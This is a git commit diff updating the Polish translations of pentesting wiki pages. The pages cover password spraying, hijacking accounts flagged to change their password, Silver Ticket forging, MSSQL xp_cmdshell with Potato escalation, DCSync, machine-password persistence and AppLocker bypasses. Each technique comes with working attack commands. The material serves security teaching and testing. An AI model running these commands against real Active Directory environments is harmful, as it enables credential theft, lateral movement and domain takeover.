Translated ['src/windows-hardening/active-directory-methodology/silver-t

This commit is contained in:
Translator 2025-09-03 17:20:13 +00:00
parent 145665588c
commit 61576ffdea
4 changed files with 253 additions and 143 deletions

View File

@ -1,7 +1,7 @@
# Kerberos Authentication
# Uwierzytelnianie Kerberos
{{#include ../../banners/hacktricks-training.md}}
**Sprawdź niesamowity post z:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
**Sprawdź świetny wpis:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,16 +5,16 @@
## **Password Spraying**
Gdy znajdziesz kilka **valid usernames**, możesz spróbować najczęstszych **common passwords** (pamiętaj o password policy środowiska) dla każdego z odkrytych użytkowników.\
By **default** the **minimum** **password** **length** is **7**.
Gdy znajdziesz kilka **prawidłowych nazw użytkowników**, możesz spróbować najbardziej **popularnych haseł** (pamiętaj o polityce haseł w środowisku) dla każdego z odkrytych użytkowników.\
Domyślnie minimalna długość **hasła** to **7**.
Listy common usernames mogą również być przydatne: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Listy popularnych nazw użytkowników mogą być również przydatne: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Zauważ, że możesz **could lockout some accounts if you try several wrong passwords** (by default more than 10).
Zwróć uwagę, że możesz **zablokować niektóre konta, jeśli spróbujesz kilku nieprawidłowych haseł** (domyślnie więcej niż 10).
### Get password policy
### Pobranie polityki haseł
Jeśli masz jakieś user credentials lub shell jako domain user możesz **get the password policy with**:
Jeśli masz poświadczenia użytkownika lub shell jako użytkownik domeny, możesz **pobrać politykę haseł za pomocą**:
```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -31,7 +31,7 @@ net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
```
### Eksploatacja z Linuxa (lub dowolnego systemu)
### Exploitation z Linuxa (lub wszystkich)
- Używając **crackmapexec:**
```bash
@ -47,20 +47,20 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
```
- [**spray**](https://github.com/Greenwolf/Spray) _**(możesz określić liczbę prób, aby uniknąć zablokowań):**_
- [**spray**](https://github.com/Greenwolf/Spray) _**(możesz określić liczbę prób, aby uniknąć blokad):**_
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
- Używanie [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIEZALECANE, CZASAMI NIE DZIAŁA
- Użycie [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIEZALECANE, CZASAMI NIE DZIAŁA
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
```
- Za pomocą modułu `scanner/smb/smb_login` w **Metasploit**:
- Za pomocą modułu `scanner/smb/smb_login` **Metasploit**:
![](<../../images/image (745).png>)
- Przy użyciu **rpcclient**:
- Używając **rpcclient**:
```bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
@ -69,7 +69,7 @@ done
```
#### Z systemu Windows
- Z [Rubeus](https://github.com/Zer1t0/Rubeus) w wersji z modułem brute:
- Z [Rubeus](https://github.com/Zer1t0/Rubeus) w wersji z brute module:
```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@ -77,28 +77,60 @@ done
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
- With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Może domyślnie generować użytkowników z domeny oraz pobierać politykę haseł z domeny i ograniczać liczbę prób zgodnie z nią):
- Za pomocą [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Domyślnie może wygenerować użytkowników z domeny i pobrać politykę haseł z domeny oraz ograniczyć liczbę prób zgodnie z nią):
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
- Z [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
- Za pomocą [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
```
Invoke-SprayEmptyPassword
```
### Identyfikacja i przejęcie kont "Password must change at next logon" (SAMR)
Technika o niskim poziomie hałasu polega na sprayowaniu benign/empty password i wykrywaniu kont zwracających STATUS_PASSWORD_MUST_CHANGE, co oznacza, że hasło zostało wymuszone do wygaśnięcia i można je zmienić bez znajomości poprzedniego.
Przebieg:
- Wyenumeruj użytkowników (RID brute via SAMR), aby zbudować listę celów:
{{#ref}}
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
{{#endref}}
```bash
# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
```
- Spray an empty password i kontynuuj przy hits, aby przechwycić konta, które muszą zmienić hasło przy następnym logon:
```bash
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
```
- Dla każdego trafienia zmień hasło przez SAMR za pomocą modułu NetExec (stare hasło nie jest potrzebne, gdy ustawione jest "must change"):
```bash
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
# Validate and retrieve domain password policy with the new creds
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
```
Uwagi operacyjne:
- Upewnij się, że zegar hosta jest zsynchronizowany z DC przed operacjami opartymi na Kerberos: `sudo ntpdate <dc_fqdn>`.
- Symbol [+] bez (Pwn3d!) w niektórych modułach (np. RDP/WinRM) oznacza, że creds są ważne, ale konto nie ma praw do interaktywnego logowania.
## Brute Force
```bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
```
### Kerberos pre-auth spraying z targetowaniem LDAP i PSO-aware throttling (SpearSpray)
### Kerberos pre-auth spraying z ukierunkowaniem przez LDAP i ograniczaniem uwzględniającym PSO (SpearSpray)
Kerberos pre-authbased spraying zmniejsza hałas w porównaniu z próbami bind SMB/NTLM/LDAP i lepiej współgra z politykami blokady AD. SpearSpray łączy targetowanie oparte na LDAP, silnik wzorców oraz świadomość polityk (polityka domeny + PSOs + bufor badPwdCount), aby przeprowadzać spraying precyzyjnie i bezpiecznie. Może też oznaczać przejęte principal'e w Neo4j dla ścieżek w BloodHound.
Kerberos pre-authbased spraying zmniejsza hałas w porównaniu do prób bind przez SMB/NTLM/LDAP i lepiej pasuje do polityk lockout AD. SpearSpray łączy ukierunkowanie napędzane przez LDAP, silnik wzorców i świadomość polityk (polityka domeny + PSO + bufor badPwdCount), aby wykonywać spraying precyzyjnie i bezpiecznie. Może też oznaczać przejęte principalów w Neo4j do wyznaczania ścieżek w BloodHound.
Kluczowe idee:
- Odkrywanie użytkowników przez LDAP z paginacją i obsługą LDAPS, opcjonalnie przy użyciu niestandardowych filtrów LDAP.
- Polityka blokady domeny + filtrowanie uwzględniające PSO, które pozostawia konfigurowalny bufor prób (threshold) i zapobiega blokowaniu użytkowników.
- Weryfikacja Kerberos pre-auth przy użyciu szybkich powiązań gssapi (generuje 4768/4771 na DCs zamiast 4625).
- Generowanie haseł oparte na wzorcach, dla każdego użytkownika, z użyciem zmiennych takich jak imiona oraz wartości czasowe wyprowadzone z pwdLastSet każdego użytkownika.
- Kontrola przepustowości za pomocą wątków, jittera i maksymalnej liczby żądań na sekundę.
- Odkrywanie użytkowników przez LDAP z paginacją i obsługą LDAPS, opcjonalnie z użyciem niestandardowych filtrów LDAP.
- Polityka blokady domeny + filtrowanie uwzględniające PSO, aby zostawić konfigurowalny bufor prób (próg) i unikać blokowania użytkowników.
- Weryfikacja Kerberos pre-auth za pomocą szybkich gssapi bindings (generuje 4768/4771 na DC zamiast 4625).
- Generowanie haseł oparte na wzorcach, dla każdego użytkownika, z użyciem zmiennych takich jak imiona i wartości czasowe wyprowadzone z pwdLastSet każdego użytkownika.
- Kontrola przepustowości przy użyciu wątków, jittera i maksymalnej liczby żądań na sekundę.
- Opcjonalna integracja z Neo4j do oznaczania przejętych użytkowników dla BloodHound.
Podstawowe użycie i odkrywanie:
@ -144,15 +176,15 @@ Przegląd systemu wzorców (patterns.txt):
```
Dostępne zmienne obejmują:
- {name}, {samaccountname}
- Temporal from each users pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Composition helpers and org token: {separator}, {suffix}, {extra}
- Elementy czasowe z pwdLastSet (lub whenCreated) każdego użytkownika: {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Pomocniki kompozycji i token organizacji: {separator}, {suffix}, {extra}
Uwagi operacyjne:
- Preferuj zapytania do PDC-emulator przy użyciu -dc, aby odczytać najbardziej autorytatywny badPwdCount i informacje związane z polityką.
- Resety badPwdCount są wyzwalane przy następnym podejściu po oknie obserwacji; używaj progów i timingów, aby pozostać bezpiecznym.
- Kerberos pre-auth attempts pojawiają się jako 4768/4771 w telemetrii DC; używaj jitter i rate-limiting, aby wtopić się w tło.
- Preferuj zapytania do PDC-emulator z -dc, aby odczytać najbardziej autorytatywne badPwdCount i informacje związane z polityką.
- Resety badPwdCount są wyzwalane przy następnym podejściu po oknie obserwacyjnym; użyj progów i odpowiednich interwałów czasowych, aby zachować bezpieczeństwo.
- Próby Kerberos pre-auth pojawiają się jako 4768/4771 w telemetrii DC; użyj jitter i rate-limiting, aby się wtopić.
> Tip: SpearSprays default LDAP page size is 200; adjust with -lps as needed.
> Wskazówka: SpearSprays default LDAP page size is 200; adjust with -lps as needed.
## Outlook Web Access
@ -160,11 +192,11 @@ Istnieje wiele narzędzi do p**assword spraying outlook**.
- Za pomocą [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- Za pomocą [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- Za pomocą [Ruler](https://github.com/sensepost/ruler) (niezawodne!)
- Za pomocą [Ruler](https://github.com/sensepost/ruler) (reliable!)
- Za pomocą [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- Za pomocą [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników oraz hasła / małej listy haseł do password spraying.
Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników oraz password / a small list of passwords to spray.
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
@ -183,7 +215,7 @@ Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników o
- [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
- [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
## Źródła
## Referencje
- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
@ -194,6 +226,7 @@ Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników o
- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
- [HTB Sendai 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,13 +6,12 @@
## Silver ticket
Atak **Silver Ticket** polega na wykorzystaniu biletów serwisowych w środowiskach Active Directory (AD). Metoda ta opiera się na **zdobyciu hasha NTLM konta serwisowego**, takiego jak konto komputera, w celu sfałszowania biletu Ticket Granting Service (TGS). Dzięki temu sfałszowanemu biletowi, atakujący może uzyskać dostęp do określonych usług w sieci, **podszywając się pod dowolnego użytkownika**, zazwyczaj dążąc do uzyskania uprawnień administracyjnych. Podkreśla się, że użycie kluczy AES do fałszowania biletów jest bardziej bezpieczne i mniej wykrywalne.
Atak Silver Ticket polega na wykorzystaniu service tickets w środowiskach Active Directory (AD). Metoda ta opiera się na zdobyciu NTLM hash konta usługi (np. konta komputera), aby sfałszować Ticket Granting Service (TGS) ticket. Dzięki takiemu sfałszowanemu ticketowi atakujący może uzyskać dostęp do konkretnych usług w sieci, podszywając się pod dowolnego użytkownika, zwykle dążąc do uprawnień administracyjnych. Należy podkreślić, że użycie AES keys do fałszowania biletów jest bezpieczniejsze i trudniejsze do wykrycia.
> [!WARNING]
> Bilety Silver są mniej wykrywalne niż bilety Golden, ponieważ wymagają tylko **hasha konta serwisowego**, a nie konta krbtgt. Jednak są ograniczone do konkretnej usługi, którą celują. Co więcej, wystarczy ukraść hasło użytkownika.
Co więcej, jeśli skompromitujesz **hasło konta z SPN**, możesz użyć tego hasła do stworzenia biletu Silver, podszywając się pod dowolnego użytkownika do tej usługi.
> Silver Tickets są mniej wykrywalne niż Golden Tickets, ponieważ wymagają tylko **hash of the service account**, a nie konta krbtgt. Jednak są ograniczone do konkretnej usługi, na którą są skierowane. Ponadto, wystarczy jedynie skraść hasło użytkownika. Ponadto, jeśli przejmiesz **account's password with a SPN** możesz użyć tego hasła do stworzenia Silver Ticket podszywającego się pod dowolnego użytkownika dla tej usługi.
Do tworzenia biletów stosuje się różne narzędzia w zależności od systemu operacyjnego:
Do tworzenia ticketów stosuje się różne narzędzia w zależności od systemu operacyjnego:
### On Linux
```bash
@ -20,7 +19,7 @@ python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
```
### Na Windows
### W systemie Windows
```bash
# Using Rubeus
## /ldap option is used to get domain data automatically
@ -37,48 +36,80 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd
```
CIFS jest wyróżniane jako powszechny cel do uzyskania dostępu do systemu plików ofiary, ale inne usługi, takie jak HOST i RPCSS, również mogą być wykorzystywane do zadań i zapytań WMI.
Usługa CIFS jest wyróżniana jako częsty cel uzyskania dostępu do systemu plików ofiary, ale inne usługi, takie jak HOST i RPCSS, również mogą być wykorzystane do uruchamiania zadań i zapytań WMI.
### Przykład: MSSQL service (MSSQLSvc) + Potato to SYSTEM
Jeśli masz NTLM hash (lub AES key) konta usługi SQL (np. sqlsvc), możesz sfałszować TGS dla MSSQL SPN i podszyć się pod dowolnego użytkownika względem usługi SQL. Następnie włącz xp_cmdshell, aby wykonywać polecenia jako konto usługi SQL. Jeśli ten token ma SeImpersonatePrivilege, użyj Potato, aby uzyskać eskalację do SYSTEM.
```bash
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-spn MSSQLSvc/<host.fqdn>:1433 administrator
export KRB5CCNAME=$PWD/administrator.ccache
# Connect to SQL using Kerberos and run commands via xp_cmdshell
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
```
- Jeśli otrzymany kontekst ma SeImpersonatePrivilege (często prawda dla kont usługowych), użyj wariantu Potato, aby uzyskać SYSTEM:
```bash
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
# or
GodPotato -cmd "cmd /c whoami"
```
Więcej szczegółów dotyczących wykorzystywania MSSQL i włączania xp_cmdshell:
{{#ref}}
abusing-ad-mssql.md
{{#endref}}
Przegląd technik Potato:
{{#ref}}
../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
{{#endref}}
## Dostępne usługi
| Typ usługi | Usługi Silver Tickets |
| Service Type | Service Silver Tickets |
| ------------------------------------------ | -------------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
| Zdalne uruchamianie PowerShell | <p>HOST</p><p>HTTP</p><p>W zależności od systemu operacyjnego także:</p><p>WSMAN</p><p>RPCSS</p> |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>W zależności od systemu również:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>W niektórych przypadkach możesz po prostu poprosić o: WINRM</p> |
| Zaplanowane zadania | HOST |
| Udostępnianie plików Windows, także psexec | CIFS |
| Operacje LDAP, w tym DCSync | LDAP |
| Narzędzia do zdalnej administracji serwerów Windows | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Złote bilety | krbtgt |
| Scheduled Tasks | HOST |
| Windows File Share, also psexec | CIFS |
| LDAP operations, included DCSync | LDAP |
| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Golden Tickets | krbtgt |
Używając **Rubeus**, możesz **poprosić o wszystkie** te bilety, używając parametru:
Używając **Rubeus** możesz **zażądać wszystkich** tych ticketów używając parametru:
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
### Identyfikatory zdarzeń biletów Silver
### Silver tickets — ID zdarzeń
- 4624: Logowanie konta
- 4634: Wylogowanie konta
- 4672: Logowanie administratora
- 4624: Account Logon
- 4634: Account Logoff
- 4672: Admin Logon
## Utrzymywanie
## Persistence
Aby uniknąć rotacji haseł maszyn co 30 dni, ustaw `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` lub możesz ustawić `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` na większą wartość niż 30 dni, aby wskazać okres rotacji, kiedy hasło maszyny powinno być zmieniane.
Aby zapobiec rotacji haseł maszyn co 30 dni ustaw `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` lub możesz ustawić `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` na wartość większą niż 30 dni, aby wskazać okres rotacji, po którym hasło maszyny powinno zostać zmienione.
## Wykorzystywanie biletów usługowych
## Abusing Service tickets
W poniższych przykładach wyobraźmy sobie, że bilet jest pobierany, podszywając się pod konto administratora.
W poniższych przykładach załóżmy, że ticket został pozyskany podszywając się pod konto administratora.
### CIFS
Dzięki temu biletowi będziesz mógł uzyskać dostęp do folderów `C$` i `ADMIN$` za pośrednictwem **SMB** (jeśli są wystawione) i skopiować pliki do części zdalnego systemu plików, wykonując coś takiego:
Dzięki temu ticketowi będziesz mógł uzyskać dostęp do folderów `C$` i `ADMIN$` przez **SMB** (jeśli są udostępnione) i skopiować pliki do części zdalnego systemu plików wykonując coś w stylu:
```bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
```
Będziesz również w stanie uzyskać powłokę wewnątrz hosta lub wykonać dowolne polecenia za pomocą **psexec**:
Będziesz także w stanie uzyskać shell na hoście lub wykonać dowolne polecenia za pomocą **psexec**:
{{#ref}}
../lateral-movement/psexec-and-winexec.md
@ -86,7 +117,7 @@ Będziesz również w stanie uzyskać powłokę wewnątrz hosta lub wykonać dow
### HOST
Dzięki temu uprawnieniu możesz generować zaplanowane zadania na zdalnych komputerach i wykonywać dowolne polecenia:
Dzięki temu uprawnieniu możesz tworzyć zadania zaplanowane na zdalnych komputerach i wykonywać dowolne polecenia:
```bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
@ -100,7 +131,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
```
### HOST + RPCSS
Dzięki tym biletom możesz **wykonać WMI w systemie ofiary**:
Dzięki tym ticketom możesz **uruchomić WMI w systemie ofiary**:
```bash
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
@ -112,28 +143,30 @@ wmic remote.computer.local list full /format:list
```
Znajdź **więcej informacji o wmiexec** na następującej stronie:
{{#ref}}
../lateral-movement/wmiexec.md
{{#endref}}
### HOST + WSMAN (WINRM)
Dzięki dostępowi winrm do komputera możesz **uzyskać do niego dostęp** i nawet uzyskać PowerShell:
Mając dostęp do komputera przez winrm możesz **uzyskać do niego dostęp** i nawet uruchomić PowerShell:
```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```
Sprawdź następującą stronę, aby dowiedzieć się **więcej sposobów na połączenie z zdalnym hostem za pomocą winrm**:
Sprawdź następującą stronę, aby poznać **więcej sposobów łączenia się ze zdalnym hostem przy użyciu winrm**:
{{#ref}}
../lateral-movement/winrm.md
{{#endref}}
> [!WARNING]
> Zauważ, że **winrm musi być aktywne i nasłuchujące** na zdalnym komputerze, aby uzyskać do niego dostęp.
> Pamiętaj, że **winrm musi być aktywny i nasłuchiwać** na zdalnym komputerze, aby uzyskać do niego dostęp.
### LDAP
Dzięki temu uprawnieniu możesz zrzucić bazę danych DC za pomocą **DCSync**:
Dzięki temu uprawnieniu możesz zrzucić bazę danych DC przy użyciu **DCSync**:
```
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
```
@ -145,11 +178,12 @@ dcsync.md
{{#endref}}
## Odniesienia
## Źródła
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
- [HTB Sendai 0xdf: Silver Ticket + Potato path](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)

View File

@ -1,17 +1,17 @@
# Windows Security Controls
# Kontrole zabezpieczeń Windows
{{#include ../../banners/hacktricks-training.md}}
## AppLocker Policy
## Polityka AppLocker
Lista dozwolonych aplikacji to lista zatwierdzonych aplikacji lub plików wykonywalnych, które mogą być obecne i uruchamiane w systemie. Celem jest ochrona środowiska przed szkodliwym złośliwym oprogramowaniem i niezatwierdzonym oprogramowaniem, które nie odpowiada specyficznym potrzebom biznesowym organizacji.
Lista dozwolonych aplikacji (application whitelist) to lista zatwierdzonych aplikacji lub plików wykonywalnych, które mogą być obecne i uruchamiane w systemie. Celem jest ochrona środowiska przed szkodliwym malware i niezatwierdzonym oprogramowaniem, które nie odpowiada specyficznym potrzebom biznesowym organizacji.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) to **rozwiązanie do białej listy aplikacji** firmy Microsoft, które daje administratorom systemu kontrolę nad **tym, które aplikacje i pliki mogą uruchamiać użytkownicy**. Zapewnia **szczegółową kontrolę** nad plikami wykonywalnymi, skryptami, plikami instalacyjnymi Windows, DLL, aplikacjami pakietowymi i instalatorami aplikacji pakietowych.\
Powszechną praktyką w organizacjach jest **blokowanie cmd.exe i PowerShell.exe** oraz zapisu do niektórych katalogów, **ale to wszystko można obejść**.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) jest rozwiązaniem Microsoftu dla **aplikacyjnego whitelistingu** i daje administratorom systemu kontrolę nad **tym, które aplikacje i pliki użytkownicy mogą uruchamiać**. Zapewnia **szczegółową kontrolę** nad plikami wykonywalnymi, skryptami, Windows installer files, DLLs, packaged apps oraz packed app installers.\
Często organizacje **blokują cmd.exe i PowerShell.exe** oraz dostęp zapisu do niektórych katalogów, **ale wszystko to można obejść**.
### Check
### Sprawdź
Sprawdź, które pliki/rozszerzenia są na czarnej/białej liście:
Sprawdź, które pliki/rozszerzenia są blacklisted/whitelisted:
```bash
Get-ApplockerPolicy -Effective -xml
@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
```
Ta ścieżka rejestru zawiera konfiguracje i polityki stosowane przez AppLocker, co umożliwia przeglądanie aktualnego zestawu reguł egzekwowanych w systemie:
Ta ścieżka rejestru zawiera konfiguracje i polityki stosowane przez AppLocker, umożliwiając przeglądanie bieżącego zestawu reguł egzekwowanych w systemie:
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
### Ominięcie
### Bypass
- Przydatne **zapisywalne foldery** do ominięcia polityki AppLocker: Jeśli AppLocker pozwala na wykonywanie czegokolwiek w `C:\Windows\System32` lub `C:\Windows`, istnieją **zapisywalne foldery**, które możesz wykorzystać do **ominięcia tego**.
- Useful **Writable folders** to bypass AppLocker Policy: Jeśli AppLocker pozwala na uruchamianie czegokolwiek w `C:\Windows\System32` lub `C:\Windows`, istnieją **writable folders**, których możesz użyć, aby to **bypass this**.
```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
```
- Powszechnie **ufane** [**binarne "LOLBAS"**](https://lolbas-project.github.io/) mogą być również przydatne do obejścia AppLocker.
- **Słabo napisane zasady mogą być również obejście**
- Na przykład, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, możesz stworzyć **folder o nazwie `allowed`** wszędzie, a będzie on dozwolony.
- Organizacje często koncentrują się na **blokowaniu pliku wykonywalnego `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, ale zapominają o **innych** [**lokacjach plików wykonywalnych PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) takich jak `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` lub `PowerShell_ISE.exe`.
- **Wymuszanie DLL rzadko włączone** z powodu dodatkowego obciążenia, jakie może nałożyć na system, oraz ilości testów wymaganych do zapewnienia, że nic się nie zepsuje. Dlatego użycie **DLL jako tylnej furtki pomoże w obejściu AppLocker**.
- Możesz użyć [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) lub [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick), aby **wykonać kod Powershell** w dowolnym procesie i obejść AppLocker. Więcej informacji znajdziesz tutaj: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
- Powszechnie **ufane** [**"LOLBAS's"**](https://lolbas-project.github.io/) binaria mogą być również przydatne do obejścia AppLocker.
- **Słabo napisane reguły również można obejść**
- Na przykład, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, możesz utworzyć **folder o nazwie `allowed`** w dowolnym miejscu i będzie on dozwolony.
- Organizacje często koncentrują się na **blokowaniu pliku wykonywalnego `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, ale zapominają o **innych** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations), takich jak `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` czy `PowerShell_ISE.exe`.
- **Egzekwowanie DLL jest bardzo rzadko włączane** z powodu dodatkowego obciążenia, jakie może to wywołać na systemie, oraz liczby testów wymaganych, aby upewnić się, że nic nie przestanie działać. Dlatego użycie **DLLs jako backdoors pomoże obejść AppLocker**.
- Możesz użyć [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) lub [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) do **wykonywania kodu PowerShell** w dowolnym procesie i obejścia AppLocker. Więcej informacji: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## Przechowywanie poświadczeń
### Menedżer kont zabezpieczeń (SAM)
### Security Accounts Manager (SAM)
Lokalne poświadczenia znajdują się w tym pliku, hasła są haszowane.
### Lokalna jednostka zabezpieczeń (LSA) - LSASS
### Local Security Authority (LSA) - LSASS
**Poświadczenia** (haszowane) są **zapisywane** w **pamięci** tego podsystemu z powodów związanych z jednolitym logowaniem.\
